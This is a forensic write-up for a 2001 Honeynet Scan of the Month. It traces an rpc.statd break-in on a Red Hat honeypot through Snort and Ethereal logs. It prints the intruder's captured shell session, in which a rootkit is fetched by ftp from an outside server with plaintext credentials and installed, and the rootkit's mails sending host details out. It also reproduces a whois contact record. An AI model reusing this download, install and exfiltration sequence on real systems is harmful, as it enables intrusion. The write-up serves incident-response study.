Introduction

This document is the analysis performed for the Honeynet Projects Scan of the Month for September 2001. The object of the exercise was to analyse a snort log capture showing a breakin to a RedHat 6.2 Server using the rpc.statd security hole. The compromised system itself was analysed in a previous scan of the month (see Project Honeynet Scan of the Month 15 for more details). My method and analysis will be presented first, followed by answers to the Scan of the Month questions.

Tools & References

The following tools & references were used to perform this analysis.
1. The Win32 port of Snort 1.8 from http://www.snort.org
2. The Win32 version of Ethereal from http://www.ethereal.com
3. The Cygwin utilities from http://sources.redhat.com/cygwin
4. The online Whois tool at http://www.samspade.org
5. The online language guesser at http://www.rxrc.xerox.com/research/mltt/tools/guesser
6. The Passive Fingerprinting whitepaper at http://packetstormsecurity.org/papers/IDS/fingerprinting.txt
7. CERT Advisory CA-2000-17 Input Validation Problem in rpc_statd
8. Various whitepapers at the Honeynet Project

Method

First, download the log file and verify the MD5 Sum:

stuf@SCULLY ~
$ md5sum C:/temp/sotm/snort-0315@0005.log.zip
8150645db3afa8286af31c6309825f25 *C:/temp/sotm/snort-0315@0005.log.zip

The MD5 sum verified OK, so I then proceeded on to analysing the log file. To start the analysis, first I needed to do a little research on what the rpc.statd bug is, and how it is exploited. I work predominantly in a Windows environment, so I wasn't quite familiar with the attack and it's signatures. The Security Focus site provided a good description and some sample exploits - http://www.securityfocus.com/bid/1480 is the relevant page. From this page and the sample exploits I learned that one of the signatures of the attack is a connection to the Portmapper service (port 111) to determine the port that the STAT process listens on. This gave me a way to start the analysis.

The first thing I needed to do was identify the attacking machine. Knowing how the attack is initiated gave me the first way to view the log information - getting snort to show only the traffic to the attacked host on port 111 by executing:

snort -dv -l C:\temp\sotm\host111 -r snort-0315@0005.log host 172.16.1.108 and port 111

Looking at the output that was dumped in C:\temp\sotm\host111, I saw that there were two IP addresses that attempted connections on port 111 - 203.111.78.182 and 211.185.125.124. Host 203.111.78.182 generated only a single packet to the target, so was obviously insignificant. Host 211.185.125.124 showed establishing and ending a TCP session on port 111, and then an exchange of UDP data, so it would seem that the attacking system is 211.185.125.124. As the Snort data is somewhat difficult to interpret in it's raw form, I decided to use Ethereal to examine the data further. I loaded the snort log into Ethereal and applied the filter "udp.port eq 111" to isolate the desired traffic. This confirmed for me that the traffic was a request to the portmapper service for the STAT service, and a reply to the query indicating that STAT is listening on port 931.
The Ethereal packet information showed the information in the query packet to be:

Portmap:
Program Version: 2
Procedure: GETPORT (3)
Program: STAT (100024)
Version: 1
Proto: UDP (17)
Port: 0

And the response was:

Portmap:
Program Version: 2
Port: 931

Now that I had identified the attacking machine, I broadened the snort analysis to see if I could determine any trends in the traffic from the attacker. I resorted to Snort again, using:

snort -dv -r snort-0315@0005.log -l C:\temp\sotm\attack host 211.185.125.124

The output showed three IP addresses - the attacker, the attacked host as well as another host on the same subnet as the target, presumably another honeypot. Looking at the traffic from the attacker first, we see a series of attempts to connect to port 111 on a consecutive set of machines (hosts 172.16.1.101 to 172.16.1.108 inclusive), and successful attempts to connect to 172.16.1.103 and 172.16.1.108. This would indicate some sort of scripted attack, scanning for vulnerable hosts.

To invesigate further, I once again referred to Ethereal. The filter "(ip.addr eq 211.185.125.124 and ip.addr eq 172.16.1.108)" was applied to see all the traffic between these two hosts. The trace showed that immediately after the portmapper response, large packets were sent to port 931. At the end of these packets we see an interesting string - /bin/sh appears - which shows the attempt to get a remote shell.

As the attacker also tried to attack 172.16.1.103, I decided to apply the filter "(ip.addr eq 211.185.125.124 and ip.addr eq 172.16.1.103)" to see if any further interesting information came out. This showed once again a large piece of data being sent to the STAT port, with the /bin/sh string , but this time a "rpc-success" response was received from the host, with no remote shell. The host 172.16.1.103 was not vulnerable to this particular attack, so was obviously ignored.

Now that I had identified where the attack came from and how it was carried out, I could begin to analyse what happened after the compromise. I could have used Snort again, but for a more user friendly (and slightly more powerful analysis tool) I decided to stick with Ethereal. Ethereal can follow TCP Streams, which allows the data of the entire TCP session to be displayed, showing (roughly) what the client would see. I chose one of the packets immediately after the attack, and followed this stream. This gave the following text:

cd /; uname -a; id;
Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
uid=0(root) gid=0(root)
ftp -v ftp.home.ro
Connected to ftp.home.ro.
220-
220-
220- H O M E . R O
220-
220- This server is for HOME.RO members only.
220- Go to http://www.home.ro/ to register.
220-
220- No anonymous access allowed.
220-
220-
220 ProFTPD 1.2.0rc3 Server (HOME.RO Members FTP) [193.231.236.41]
soane
Name (ftp.home.ro:root): 331 Password required for soane.
Password:i2ttgcj1d
230 User soane logged in.
get lk.tgz
Remote system type is UNIX.
Using binary mode to transfer files.
local: lk.tgz remote: lk.tgz
200 PORT command successful.
150 Opening BINARY mode data connection for lk.tgz (520333 bytes).
226 Transfer complete.
bye
520333 bytes received in 35.5 secs (14 Kbytes/sec)
421 Idle Timeout (240 seconds): closing control connection.
tar -zxvf lk.tgz
last/
tar: Archive contains future timestamp 2002-02-08 07:08:13
last/ssh
last/pidfile
last/install
last/linsniffer
last/cleaner
last/inetd.conf
last/lsattr
last/services
last/sense
last/ssh_config
last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed
last/sshd_config
last/sl2
last/last.cgi
last/ps
last/netstat
last/ifconfig
last/top
last/logclear
last/s
last/mkxfs
cd last
./install
********* Instalarea Rootkitului A Pornit La Drum *********
********* Mircea SUGI PULA ********************************
********* Multumiri La Toti Care M-Au Ajutat **************
********* Lemme Give You A Tip : **************************
********* Ignore everything, call your freedom ************
********* Scream & swear as much as you can ***************
********* Cuz anyway nobody will hear you and no one will *
********* Care about you **********************************

Are Make !
Are Gcc !
Nu Are Ssh !
* Inlocuim nestat ... alea alea * Gata...
* Dev...

* Gata
* Facem Director...Si Mutam Alea..
* Copiem ssh si alea

* Adaugam In Startup:) ...
* Luam Informatiile dorite ...
* Gata ! Trimitem Mailul ...Asteapta Te Rog
* Am trimis mailul ... stergem fisierele care nu mai trebuie .

* G A T A *
* That Was Nice Last

This showed me a full transcript of the shell session. The attacker executed uname -a & id to obtain some system information. Then a ftp session was started to ftp.home.ro, and a file called lk.tgz was downloaded. This file was then extracted, and an install script was run. This rootkit file name and the install script contents were confirmed by referring to the information in Scan of the Month 15.

So at this stage, I had determined that host 172.16.1.108 was successfully compromised by host 211.185.125.124 using the rpc.statd bug and that a shell session was started on the system and a file was downloaded, extracted and installed. I knew from the previous analysis in SOTM 15 that the file was a rootkit. I then decided to attempt to recover the file from the TCP data.

First, I needed to filter the data again to isolate FTP data traffic. This was done by using the filter "tcp.port eq 20" in Ethereal. From the first packet marked as FTP-DATA, I followed the TCP stream, and viewed the output. I saved the ASCII view as the file lk.tgz. I wasn't sure if this would work, as it was a binary file that was downloaded. I then started The Cygwin Win32 bash shell and I attemped to extract the files:

stuf@SCULLY ~
$ tar -zxvf lk.tgz
last/
last/ssh
tar: last/ssh: time stamp 2002-02-09 02:08:13 is 12556296 s in the future
last/pidfile
last/install
last/linsniffer
last/cleaner
last/inetd.conf
last/lsattr
last/services
last/sense
last/ssh_config
last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed
last/sshd_config
last/sl2
last/last.cgi
last/ps
last/netstat
last/ifconfig
last/top
last/logclear
last/s
last/mkxfs
tar: Skipping to next header

gzip: stdin: invalid compressed data--crc error

gzip: stdin: invalid compressed data--length error
tar: 402 garbage bytes ignored at end of archive
tar: Child returned status 1
tar: Error exit delayed from previous errors

To my surprise, information was successfully extracted from the file. Although there were errors, the files were extracted into the .\last directory, and the contents were successfully viewed. I had first tried using WinZip to extract the file, and it had successfully extracted the tar file from the archive, but refused to open this resulting file.
The most interesting file in the archive was the install script. This file was examined to see exactly what it did.
It installs several replacement files, and near the end of its execution attempts to mail information to two different email addresses. If this part of the script executed properly and the server is able to send mail, we should be able to see this traffic. A new filter was used on Ethereal - "tcp.port eq 25" - and the two sessions were successfully decoded, showing the second mail command was able to send successfully, but the first didn't (also showing that yahoo.com is less strict about handling mail than outblaze.com):

220 YSmtp mta502.mail.yahoo.com ESMTP service ready
EHLO asdf1
250-mta502.mail.yahoo.com
250-8BITMIME
250-SIZE 3145728
250 PIPELINING
MAIL From: SIZE=836
250 sender ok
RCPT To:
250 recipient ok
DATA
354 go ahead
Received: (from root@localhost)
by asdf1 (8.9.3/8.9.3) id TAA00952
for bidi_damm@yahoo.com; Thu, 15 Mar 2001 19:46:05 -0600
Date: Thu, 15 Mar 2001 19:46:05 -0600
From: root
Message-Id: <200103160146.TAA00952@asdf1>
To: bidi_damm@yahoo.com
Subject: roote

* Info : Linux asdf1 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586 unknown
* Hostname : asdf1
* IfConfig : inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0
inet addr:172.16.1.108 Bcast:172.16.1.255 Mask:255.255.255.0
* Uptime : 7:45pm up 8:23, 0 users, load average: 0.00, 0.00, 0.00
* Cpu Vendor ID : vendor_id : GenuineIntel
* Cpu Model : model : 4
model name : Pentium MMX
* Cpu Speed: cpu MHz : 200.457171
* Bogomips: bogomips : 399.77
* Spatiu Liber: Filesystem Size Used Avail Use% Mounted on
/dev/hda8 251M 33M 205M 14% /
/dev/hda1 23M 2.4M 19M 11% /boot
/dev/hda6 1.6G 2.1M 1.5G 0% /home
/dev/hda5 1.6G 367M 1.2G 23% /usr
/dev/hda7 251M 5.3M 232M 2% /var
.
250 ok dirdel
QUIT
221 mta502.mail.yahoo.com

220 spf2.us3.outblaze.com ESMTP Sendmail 8.11.2/8.11.2; Fri, 16 Mar 2001 01:46:24 GMT
EHLO asdf1
250-spf2.us3.outblaze.com Hello IDENT:root@asdf1.xxxxxxxxxxxxxxxxxx.xxx [172.16.1.108], pleased to meet you
250-ENHANCEDSTATUSCODES
250-EXPN
250-VERB
250-8BITMIME
250-SIZE 10000000
250-DSN
250-ONEX
250-ETRN
250-XUSR
250 HELP
MAIL From: SIZE=838
501 5.1.8 ... Domain of sender address root@asdf1 does not exist
QUIT
221 2.0.0 spf2.us3.outblaze.com closing connection

Questions

1. The attackers used rpc.statd attack to get into the system. What modifications did they make to the break in process to both automate and make the process faster?

As discussed above, the snort logs show that the attackers have an automated scanning process that scans for machines listening on the portmapper service, and then attempts to compromise those machines. Only two machines on the scanned subnet were listening, and only one machine was vulnerable. Interestingly enough, the source for luckstatdx (http://project.honeynet.org/scans/scan13/luckstatdx.c) shows exactly the source code that was included in the buffer overflow, so it was likely one of the scripts of this family. I've attached the file UDP_931-791.ids to compare the payload against the source code.

2. What system/country did the badguys come in from?

From one of the first passes over the log with Snort (above), I identified the attacking system as 211.185.125.124. Using the online Whois tool at http://www.samspade.org, I determined that this system is registered to a Korean school.

Query: 211.185.125.124
Registry: whois.nic.or.kr
Results:
Korea Internet Information Service V1.0 ( created by KRNIC, 2001.6 )

IP Address : 211.185.125.0-211.185.125.127
Network Name : KSPURIM-E
Connect ISP Name : PUBNET
Connect Date : 20001120
Registration Date : 20001129

[ Organization Information ]
Orgnization ID : ORG147082
Org Name : Kyongsan Purim Elementary School
State : KYONGBUK
Address : 171 puki-1ry jinrang-eup kyongsan-ci
Zip Code : 712-830

[ Admin Contact Information]
Name : DAEDUN KYUN
Org Name : Kyongsan Purim Elementary School
State : KYONGBUK
Address : 171 puki-1ry jinrang-eup kyongsan-ci
Zip Code : 712-830
Phone : +82-53-851-9523
Fax : +82-53-851-9522
E-Mail : gum@hanmail.net

[ Technical Contact Information ]
Name : DAEDUN KYUN
Org Name : Kyongsan Purim Elementary School
State : KYONGBUK
Address : 171 puki-1ry jinrang-eup kyongsan-ci
Zip Code : 712-830
Phone : +82-53-851-9523
Fax : +82-53-851-9522
E-Mail : gum@hanmail.net

Results brought to you by the GeekTools WHOIS Proxy
Server results may be copyrighted and are used with permission.

I also tried to gain some more information about the attacking machine, to see if I could determine what operating system it was running. I did this by examining some of the fields in the initial packets. To identify the OS, I used the Window Size, the TTL, the Don't Fragment field and the SackOK field. The settings were:

Window Size: 32120 (0x7D78)
TTL: 43
Don't Fragment: Set
SackOK: Set

A bit of research on the web showed that Linux boxes are most likely to show a signature like this, most notably the Window Size, and the low TTL. The other options could also indicate a Windows box, but the Window Size setting was the major giveaway.

3. What nationality are the badguys, and how were you able to determine this?

I believe the badguys are Romanian. The first clue is the connection to a Romanian (.RO) ftp server. The other clue is the rootkit that is installed. All the output is returned in Romanian. As Romanian isn't my strong point, I had to determine that the language was indeed Romanian. I did this using the Language Guesser at http://www.rxrc.xerox.com/research/mltt/tools/guesser. I simply plugged in several of the words from the script, and the system returned a guess of Romanian.
(Of course, the fact that the script is in Romanian could simply be because the script was downloaded from a Romanian ftp site...)

4. What do the answers to questions #1 and #2 tell us about the tactics the badguys are using?

The attackers are compromising systems, and then "leap-frogging" from these systems to make attacks to other systems. This is most likely in an attempt to hide the system they are actually coming from.

5. What did you learn from this challenge?

I learnt a little more about how the RPC process works on *nix based systems. It was relatively easy to transfer my knowledge of the Windows NT RPC process to an alternative operating system, as they follow the same process (connect to portmapper to determine port, then connect to port). The most useful part of the learning process for me was learning how to use the network analysis tools to filter the data for me. I was also surprised at how much of the data I could recover using Ethereal. I found this an interesting intellectual challenge, and something a little different than what I would normally do.

6. How long did this challenge take you?

All up, the analysis & write up took me about eight hours. I spent five hours doing (and redoing) the analysis in Snort & Ethereal, and researching. I didn't click on to using Ethereal straight away, but went to it once I discovered how powerful it could be. The write up took the remainder of the time. Now that I've done the hard part (figuring out how to make the tools do what I want), I could easily do this in half the time.

Bonus Question:
Can you recover the blackhat's rootkit from the Snort binary log file? If so, how?

As shown above, I used Etheral to filter the log on FTP-DATA, and used the "Follow TCP Stream" option to display the data portion of the traffic. Using this, I was able to save the data as a file, and then process the file using the Cygwin tools. I compared what I extracted with the results that were obtained in Scan of the Month 15 and verified that what I had extracted was what was expected. I have attached the extracted install script as proof - not wanting to distribute the entire root kit :).

Contact Details

This analysis was carried out by Stuart Fox (mail me at work or personally).